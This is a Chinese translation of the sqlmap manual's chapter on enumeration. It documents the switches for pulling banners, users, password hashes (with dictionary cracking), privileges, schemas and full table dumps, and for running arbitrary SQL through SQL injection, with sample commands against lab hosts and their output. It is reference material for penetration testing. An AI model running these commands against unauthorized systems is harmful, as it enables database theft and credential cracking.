枚举

译自：Enumeration

以下选项可用于枚举后端 DBMS（Database Management System，数据库管理系统）信息、表结构和表中包含的数据。此外，你还可以运行自定义的SQL 语句。

获取全部数据

开关：--all

当用户想要通过使用单个开关远程获取所有可访问数据信息，可以使用该开关。通常不建议这么做，因为它会产生大量的请求同时获取有用无用的数据。

标语（Banner）

开关：-b 或 --banner

大多数现代 DBMS 具有一个函数和/或一个环境变量，它会返回 DBMS 版本，并最终在其补丁级别详细介绍底层系统。通常这个函数是 version() ，环境变量是 @@version，这取决于目标 DBMS。

针对 Oracle 目标的示例：

  1. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\
  2. -banner
  4. [...]
  5. [xx:xx:11] [INFO] fetching banner
  6. web application technology: PHP 5.2.6, Apache 2.2.9
  7. back-end DBMS: Oracle
  8. banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

当前会话用户

开关：--current-user

使用此开关，可以从 Web 应用程序中获取到当前正在执行相关数据库查询操作的 DBMS 用户。

当前数据库

开关：--current-db

使用此开关可以获取 Web 应用程序连接到的 DBMS 数据库名称。

服务器主机名

开关：--hostname

使用此开关可以获取 DBMS 所在的主机名。

针对 MySQL 目标的示例：

  1. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
  2. hostname
  4. [...]
  5. [xx:xx:04] [INFO] fetching server hostname
  6. [xx:xx:04] [INFO] retrieved: debian-5.0-i386
  7. hostname:    'debian-5.0-i386'

检测当前会话用户是否为数据库管理员

开关：--is-dba

可以检测当前 DBMS 会话用户是否为数据库管理员，也称为 DBA。如果是，sqlmap 将返回 True，否则返回 False。

列出 DBMS 所有用户

开关：--users

如果当前会话用户对包含 DBMS 用户信息的系统表有读取权限，可以枚举用户列表。

列出和破解 DBMS 用户的密码哈希

开关：--passwords

如果当前会话用户对包含 DBMS 用户密码信息的系统表有读取权限，则可以枚举每个 DBMS 用户的密码哈希值。sqlmap 将会枚举所有用户，及一一对应的用户密码哈希。

针对 PostgreSQL 目标的示例：

  1. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
  2. passwords -v 1
  4. [...]
  5. back-end DBMS: PostgreSQL
  6. [hh:mm:38] [INFO] fetching database users password hashes
  7. do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
  8. [hh:mm:42] [INFO] using hash method: 'postgres_passwd'
  9. what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
  10. [hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
  11. do you want to use common password suffixes? (slow!) [y/N] n
  12. [hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
  13. [hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
  14. [hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
  15. database management system users password hashes:
  16. [*] postgres [1]:
  17.     password hash: md5d7d880f96044b72d0bba108ace96d1e4
  18.     clear-text password: testpass
  19. [*] testuser [1]:
  20.     password hash: md599e5ea7a6f7c3269995cba3927fd0093
  21.     clear-text password: testpass

以上例子中，sqlmap 不仅枚举了 DBMS 用户及其密码，而且识别出密码哈希格式属于PostgreSQL，并询问用户是否使用字典文件进行散列测试，并识别出了用户 postgres 的明文密码，它通常是 DBA，被识别出的还有用户 testuser 的密码。

对于可以枚举用户密码哈希的 DBMS 都已实现了此功能，包括 Oracle 和 Microsoft SQL Server 2005 及后续版本。

你还可以使用 -U 选项来指定要枚举的特定用户，并破解其对应密码哈希。如果你提供 CU 作为用户名，它会将其视为当前用户的别名，并将获取此用户的密码哈希值。

列出 DBMS 所有用户权限

开关：--privileges

如果当前会话用户对包含 DBMS 用户信息的系统表有读取权限，则可以枚举出每个 DBMS 用户的权限。根据权限信息，sqlmap 还将显示出哪些是数据库管理员。

你还可以使用 -U 选项来指定要枚举出权限的用户。

如果你提供 CU 作为用户名，它会将其视为当前用户的别名，并将获取此用户的权限信息。

在 Microsoft SQL Server 中，此功能将显示每个用户是否为数据库管理员，而不是所有用户的权限列表。

列出 DBMS 所有用户角色

开关：--roles

如果当前会话用户对包含 DBMS 用户信息的系统表有读取权限，则可以枚举出每个 DBMS 用户的角色。

你还可以使用 -U 选项来指定要枚举出角色的用户。

如果你提供 CU 作为用户名，它会将其视为当前用户的别名，并将获取此用户的角色信息。

此功能仅在 DBMS 为 Oracle 时可用。

列出 DBMS 所有数据库

开关：--dbs

如果当前会话用户对包含 DBMS 可用数据库信息的系统表有读取权限，则可以枚举出当前数据库列表。

枚举数据表

开关和选项：--tables，--exclude-sysdbs 和 -D

如果当前会话用户对包含 DBMS 数据表信息的系统表有读取权限，则可以枚举出特定 DBMS 的数据表。

如果你不使用选项 -D 来指定数据库，则 sqlmap 将枚举所有 DBMS 数据库的表。

你还可以提供开关 --exclude-sysdbs 以排除所有的系统数据库。

注意，对于 Oracle，你需要提供 TABLESPACE_NAME 而不是数据库名称。

枚举数据表的列名

开关和选项：--columns，-C，-T 和 -D

如果当前会话用户对包含 DBMS 数据表信息的系统表有读取权限，则可以枚举出特定数据表的列名。sqlmap 还将枚举所有列的数据类型。

此功能可使用选项 -T 来指定表名，还可以使用选项 -D 来指定数据库名称。如果未指定数据库名称，将使用当前的数据库名称。你还可以使用选项 -C 来指定要枚举的表列名。

针对 SQLite 目标的示例：

  1. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -\
  2. -columns -D testdb -T users -C name
  3. [...]
  4. Database: SQLite_masterdb
  5. Table: users
  6. [3 columns]
  7. +---------+---------+
  8. | Column  | Type    |
  9. +---------+---------+
  10. | id      | INTEGER |
  11. | name    | TEXT    |
  12. | surname | TEXT    |
  13. +---------+---------+

注意，对于 PostgreSQL，你需要提供 public 或系统数据库的名称。这是因为不可能枚举其他数据库表，只能枚举出 Web 应用程序用户连接到的数据库模式下的表，它们总是以 public 为别名。

枚举 DBMS 模式

开关：--schema 和 --exclude-sysdbs

用户可以使用此开关获取 DBMS 模式。模式列表将包含所有数据库、表和列以及它们各自的类型。结合 --exclude-sysdbs，只有包含非系统数据库的模式才会被获取并显示出来。

针对 MySQL 目标的示例：

  1. $ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s\
  2. chema--batch --exclude-sysdbs
  4. [...]
  5. Database: owasp10
  6. Table: accounts
  7. [4 columns]
  8. +-------------+---------+
  9. | Column      | Type    |
  10. +-------------+---------+
  11. | cid         | int(11) |
  12. | mysignature | text    |
  13. | password    | text    |
  14. | username    | text    |
  15. +-------------+---------+
  17. Database: owasp10
  18. Table: blogs_table
  19. [4 columns]
  20. +--------------+----------+
  21. | Column       | Type     |
  22. +--------------+----------+
  23. | date         | datetime |
  24. | blogger_name | text     |
  25. | cid          | int(11)  |
  26. | comment      | text     |
  27. +--------------+----------+
  29. Database: owasp10
  30. Table: hitlog
  31. [6 columns]
  32. +----------+----------+
  33. | Column   | Type     |
  34. +----------+----------+
  35. | date     | datetime |
  36. | browser  | text     |
  37. | cid      | int(11)  |
  38. | hostname | text     |
  39. | ip       | text     |
  40. | referer  | text     |
  41. +----------+----------+
  43. Database: testdb
  44. Table: users
  45. [3 columns]
  46. +---------+---------------+
  47. | Column  | Type          |
  48. +---------+---------------+
  49. | id      | int(11)       |
  50. | name    | varchar(500)  |
  51. | surname | varchar(1000) |
  52. +---------+---------------+
  53. [...]

获取数据表的数据条目数

开关：--count

如果用户想要在导出所需表数据之前知道表中的条目数，可以使用此开关。

针对 Microsoft SQL Server 目标的示例：

  1. $ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
  2.  --count -D testdb
  3. [...]
  4. Database: testdb
  5. +----------------+---------+
  6. | Table          | Entries |
  7. +----------------+---------+
  8. | dbo.users      | 4       |
  9. | dbo.users_blob | 2       |
  10. +----------------+---------+

导出数据表条目

开关和选项：--dump，-C，-T，-D，--start，--stop，--first，--last，--pivot-column 和 --where

如果当前会话用户对特定的数据表有读取权限，则可以导出数据表条目。

此功能依赖选项 -T 来指定表名，还可以用选项 -D 来指定数据库名称。如果提供了表名而不提供数据库名，则会使用当前的数据库。

针对 Firebird 目标的示例：

  1. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\
  2.  --dump -T users
  3. [...]
  4. Database: Firebird_masterdb
  5. Table: USERS
  6. [4 entries]
  7. +----+--------+------------+
  8. | ID | NAME   | SURNAME    |
  9. +----+--------+------------+
  10. | 1  | luther | blisset    |
  11. | 2  | fluffy | bunny      |
  12. | 3  | wu     | ming       |
  13. | 4  | NULL   | nameisnull |
  14. +----+--------+------------+

此开关也可用于导出指定数据库数据表的所有条目。你只需要提供开关 --dump 和选项 -D（不提供 -T 和 -C）。

你还可以使用选项 -C 提供一个以逗号分隔的特定列名列表来导出数据。

sqlmap 还能会为每个表生成相应的 CSV 格式文本文件用于存储导出的数据。你可以通过提供大于或等于 1 的详细程度级别来查看 sqlmap 所创建文件的绝对路径。

如果只是想导出特定范围的条目，可以提供选项 --start 和/或 --stop，以指定要从哪条数据开始导出和在哪条数据停止。例如，如果仅导出第一个条目，就在命令行中提供 --stop 1。或者如果你只想导出第二和第三个条目，就提供 --start 1 --stop 3。

还可以使用选项 --first 和 --last 指定要导出的单个字符或特定范围的字符。例如，如果要导出条目的第三到第五个字符，就提供 --first 3 --last 5。此功能仅适用于盲注技术，因为报错型注入（Error-based）和联合查询注入（UNION query-based）技术不管列数据条目的长度如何，发起的请求数量是完全相同的。

有些情况下（例如：对于 Microsoft SQL Server，Sybase 和 SAP MaxDB），由于缺少类似的机制，无法使用 OFFSET m, n 直接导出表的数据。在这种情况下，sqlmap 通过确定最适合的 pivot 列（具有唯一值的列，一般是主键），并使用该列检索其他列值，以此来导出数据。如果因为自动选择的 pivot 列不适用（例如：由于缺少表导出结果）而需要强制使用特定列，你可以使用选项 --pivot-column（例如： --pivot-column=id）。

如果要约束导出特定的列值（或范围），可以使用选项 --where。提供的逻辑运算将自动在 WHERE 子句内使用。例如，如果使用 --where="id>3"，那么只有 id 值大于 3 的行会被获取（通过将 WHERE id>3 附加到使用的查询语句中）。

正如你可能已经注意到的，sqlmap 非常灵活：你可以将让其自动导出整个数据库表，或者非常精确地导出特定字符、列和范围的条目。

导出所有数据表条目

开关：--dump-all 和 --exclude-sysdbs

如果当前会话用户的读取权限允许，可以一次导出所有数据库表条目。

你还可以提供开关 --exclude-sysdbs 以排除所有的系统数据库。在这种情况下，sqlmap 只会导出当前用户的数据库表条目。

注意，对于 Microsoft SQL Server，master 数据库不被视为系统数据库，因为某些数据库管理员将其用作用户数据库。

搜索列，表或数据库

开关和选项：--search，-C，-T，-D

此开关允许你在所有数据库中搜索特定的数据库名和表名，在特定的数据表中搜索特定的列名。

这非常有用，例如，要识别包含应用程序凭据的表，其中相关列的名称包含诸如 name 和 pass 这样的字符串。

开关 --search 需要与以下支持选项一起使用：

  • -C，附带以逗号分隔的列名列表来搜索整个 DBMS。
  • -T，附带以逗号分隔的表名列表来搜索整个 DBMS。
  • -D，附带以逗号分隔的数据库名列表来搜索整个 DBMS。

运行自定义 SQL 语句

选项和开关：--sql-query 和 --sql-shell

SQL 查询和 SQL shell 功能允许在 DBMS 上运行任意 SQL 语句。sqlmap 会自动解析提供的语句，确定哪种技术适合用于注入它，以及如何打包相应的 SQL payload。

如果查询是 SELECT 语句，sqlmap 将获取其输出。否则，如果 Web 应用程序的后端 DBMS 支持多语句，它将通过堆叠查询注入（Stacked queries）技术执行查询。注意，某些 Web 应用程序技术不支持特定 DBMS 上的堆叠查询。例如，当后端 DBMS 是 MySQL 时，PHP 不支持堆叠查询，但是当后端 DBMS 是 PostgreSQL 时，它是支持的。

针对 Microsoft SQL Server 2000 目标的示例：

  1. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
  2. sql-query "SELECT 'foo'" -v 1
  4. [...]
  5. [hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
  6. [hh:mm:14] [INFO] retrieved: foo
  7. SELECT 'foo':    'foo'
  9. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
  10. sql-query "SELECT 'foo'，'bar'" -v 2
  12. [...]
  13. [hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
  14. [hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
  15. unpack it into distinct queries to be able to retrieve the output even if we are
  16.  going blind
  17. [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
  18. VARCHAR(8000)), (CHAR(32)))
  19. [hh:mm:50] [INFO] retrieved: foo
  20. [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
  21. [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
  22. RCHAR(8000)), (CHAR(32)))
  23. [hh:mm:50] [INFO] retrieved: bar
  24. [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
  25. SELECT 'foo', 'bar':    'foo, bar'

如你所见，sqlmap 将提供的查询分解为两个不同的 SELECT 语句，然后单独获取每个查询的输出。

如果提供的查询是一个 SELECT 语句并包含一个 FROM 子句，sqlmap 会询问你是否可以返回多个条目。在这种情况下，它知道如何解析返回的结果，逐条计算指定的条目数量，并给出相关输出。

SQL shell 选项允许你以交互方式运行自己的 SQL 语句，就像直接连接到 DBMS 的 SQL 控制台。此功能还提供 TAB 补全和输入历史支持。